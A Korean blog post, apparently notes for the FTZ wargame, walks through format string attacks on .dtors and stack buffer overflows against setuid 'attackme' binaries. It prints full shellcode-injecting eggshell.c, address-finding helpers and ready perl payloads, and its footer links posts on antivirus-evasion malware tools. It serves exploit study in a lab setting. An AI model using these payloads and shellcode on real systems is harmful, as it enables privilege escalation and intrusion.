[포맷스트링 공격]
기본 취약 확인 - "AAAA %8x %8x %8x %8x"
# 41414141 값이 나오면 뒤의 4byte X 3 = 12 바이트의 더미값이 존재하는 것, 41414141이 AAAA임.
이제 소멸자 End 주소에 셸코드 주소를 붙여넣어 주어야 공격이 가능하다.
소멸자 End 주소 확인 - nm attackme | more 또는 objdump -h attackme 또는 readelf -S attackme | grep tors
Dtors라는 부분의 주소(08049594) 에서 4byte 추가한 부분이 End 주소, 낮은 주소와 높은 주소로 구별이 필요(int값 한계 때문)
(낮은 주소) (높은 주소)
08049598 +(2byte) 0804959a - Dtors End 주소
그 다음 쉘 코드 주소를 얻어낸다. eggshell.c 프로그램과 getenv.c 프로그램 사용
eggshell.c와 getenv.c의 환경변수값은 알아서 변경하거나 그대로 사용
eggshell.c |
#include <stdlib.h> #define DEFAULT_OFFSET 0 #define DEFAULT_BUFFER_SIZE 512 #define DEFAULT_EGG_SIZE 2048 #define NOP 0x90 char shellcode[] = "\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80" "\x55\x89\xe5\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46" "\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89" "\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68" "\x00\xc9\xc3\x90/bin/sh"; unsigned long get_esp(void) { __asm__("movl %esp,%eax"); } void main(int argc, char *argv[]) { char *buff, *ptr, *egg; long *addr_ptr, addr; int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE; int i, eggsize=DEFAULT_EGG_SIZE; if(argc > 1) bsize = atoi(argv[1]); if(argc > 2) offset = atoi(argv[2]); if(argc > 3) eggsize = atoi(argv[3]); if(!(buff = malloc(bsize))) { printf("Can't allocate memory.\n"); exit(0); } if(!(egg = malloc(eggsize))) { printf("Can't allocate memory.\n"); exit(0); } addr = get_esp() - offset; printf("Using address: 0x%x\n", addr); ptr = buff; addr_ptr = (long *) ptr; for(i = 0; i < bsize; i+=4) *(addr_ptr++) = addr; ptr = egg; for(i = 0; i < eggsize - strlen(shellcode) - 1; i++) *(ptr++) = NOP; for(i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i]; buff[bsize - 1] = '\0'; egg[eggsize - 1] = '\0'; memcpy(egg,"EGG=",4); putenv(egg); memcpy(buff,"RET=",4); putenv(buff); system("/bin/bash"); } |
getenv.c |
#include<stdio.h> int main(int argc, char *argv[]) { if(argv<2) { printf("Usage : %s ENV_NAME \n",argv[0]); exit(1); } printf("%s Address : 0x%x\n",argv[1],getenv(argv[1])); return 0; } |
[level20@ftz tmp]$ /home/level19/tmp/egg
[level20@ftz tmp]$ /home/level19/tmp/getenv
SUPERDK's Addr: 0xbffff481 - 쉘코드 주소
이제 공격 구문에 해당 주소들을 이용
ex) print AAAA소멸자낮은주소BBBB소멸자높은주소%8x%8x%8x(더미만큼)%쉘코드주소뒤f481을정수값으로변환한뒤40을뺀값인62553c%n%쉘코드주소앞bfff에앞에1추가한1bfff-뒤주소f481한정수값c%n 값을 공격구문으로 사용
공격 구문 - (perl -e 'print "AAAA","\x98\x95\x04\x08","BBBB","\x9a\x95\x04\x08","%8x%8x%8x","%62553c%n%52094c%n"'; cat) | /home/level20/attackme
##정리##
(공격순서)
1) FSB 공격여부 판단 + %8x 몇번써야 하는지 확인
* 소스 코드 확인(cat hint)
$ ./attackme "AAAA %8x %8x %8x %8x"
2) 공격 구문 선정
/home/level11/attackme \
$(printf "AAAA주소1BBBB주소2")%8x%8x%8x%숫자1c%n%숫자2c%n
3) 2개의 주소 찾기
주소 : destructor 주소(nm /home/level11/attacke | more , or objdump -h attackme )
=> 08049610
주소 : 쉘코드 주소(egg.c + getenv.c)
=> bffff858
4) 공격 구문 완성
/home/level11/attackme \
$(printf "AAAA주소1BBBB주소2")%8x%8x%8x%숫자1c%n%숫자2c%n
f858 bfff
A A
| |
08049610 08049612
주소1 = 08049610
주소2 = 08049612
숫자1 = 0xf858 - 40
숫자2 = 0x1bfff - 0xf858
5) 공격 성공
[버퍼오버플로우 공격]
기본 취약 확인 - "AAAAAA....AAAA" -> 너무 많은 값을 넣었을때 segment fault 발생 시 취약
(소스코드 있는경우)
1.#include <stdio.h>
void printit() {
printf("Hello there!\n");
}
main()
{
int crap;
void (*call)()=printit;
char buf[20];
fgets(buf,48,stdin);
setreuid(3098,3098); // setreuid 있는지 꼭 확인!!!!!!!!!!!!!!!
call();
#printf("%s %p %p %p",buf,buf,&crap,&call);
}
여기서 printf함수로 각 변수들의 주소 위치 확인해서 계산
2.
(gdb) disas main
Dump of assembler code for function main:
0x080484a8 <main+0>: push %ebp
0x080484a9 <main+1>: mov %esp,%ebp
0x080484ab <main+3>: sub $0x38,%esp 0x38 = (10진수) = 56 bytes
gdb에서 disas main으로 입력받는 값 char buf부터 call 변수까지 (sfp,rtn 까지는 포함이 아니다)의 총 주소 길이 확인해서
이를 통해 주소의 그림 그린다.
3.
&crap - &call = 0xbffff74c - 0xbffff748 = 0x4 = (10진수) 4bytes
&call - &buf = 0xbffff748 - 0xbffff720 = 0x28 = (10진수) 40bytes
----------------------------------------------------------------------------------------------
20 20 4 4 8 4 4 4 4 4
----------------------------------------------------------------------------------------------
buf[20] dummy *call() crap dummy SFP RET argc *argv *env
----------------------------------------------------------------------------------------------
0xbffff720 0xbffff748 0xbffff74c
-------------------------|--------------------------------------------------------------------
call 주소에서 buf 주소를 빼면 40이 나오는데 즉, 20이 char buf의 길이이므로 나머지 20은 더미값이라는 뜻.
또 총 주소 56에서 40-4-4(뒷 더미 모르니까 제외)를 하면 48이다 56이 되어야하는데 48이라는건 8만큼의 더미값이 뒤에도 있다는 뜻이다.
이제 위 문제는 call 함수의 printit 함수 주소를 쉘코드로 넘겨주어야 한다. 보통은 RET 리턴주소에 쉘코드 주소를 넣어주는 것이다.
그렇기에 공격 구문은 "A"x40,"\x쉘코드~주소~" 를 넣어주면 되는 것이다.
쉘코드 주소는 egg 프로그램과 getenv 프로그램으로 얻어낸다.
ex) (perl -e 'print "A"x40, "<쉘코드의 주소>"'; cat) | /home/level17/attackme
(perl -e 'print "A"x40, "\xa1\xf4\xff\xbf"'; cat) | /home/level17/attackme
(소스코드 없는 경우)
gdb를 사용해서 분석한다.
ebp라는 단어를 찾는다. 이것이 지역변수를 다루는것이고 ebp-n만큼 떨어진 거리에 주소값에 지역변수나
배열의 값이 있다. set disassembly-flavor intel intel 언어로 확인하면 n이 쉽게 보인다.
setreuid도 있는지 꼭 확인!!!!!!!!!!!!!!!!
#기타 변수값 길이 확인#
fd_set fds;
printf(" fds's size : %d\n", sizeof(fds));
#버퍼값 제한이 있을 때 주소 알아내기#
printf(" count=%d\n x=%d\n check=%d\n", string[-12], string[-8], string[-4]);
/* GDB */
gdb에서 b *주소 로 브레이크포인터를 건다.
그리고 AAAA 문자열을 넣어 자리값을 분석하여 dumyy값 확인한다.
'2. 시스템 해킹 및 모의 해킹' 카테고리의 다른 글
컴퓨터를 해킹해서 원격으로 조종하는 툴 [cobaltStrike] (0) | 2023.12.27 |
---|---|
백신에 탐지되지 않는 바이러스 생성 툴 [Veil] (0) | 2023.12.27 |
IP를 난독화 시켜주는 도구 [IP Obfuscator] (0) | 2023.12.26 |
백신에 걸리지 않는 악성코드 생성 툴 [phantom-evasion] (0) | 2023.12.26 |
window defender 등 백신 우회 백도어 - APT(지속 위협 지능형) 앱솔루트 제로 (0) | 2020.02.27 |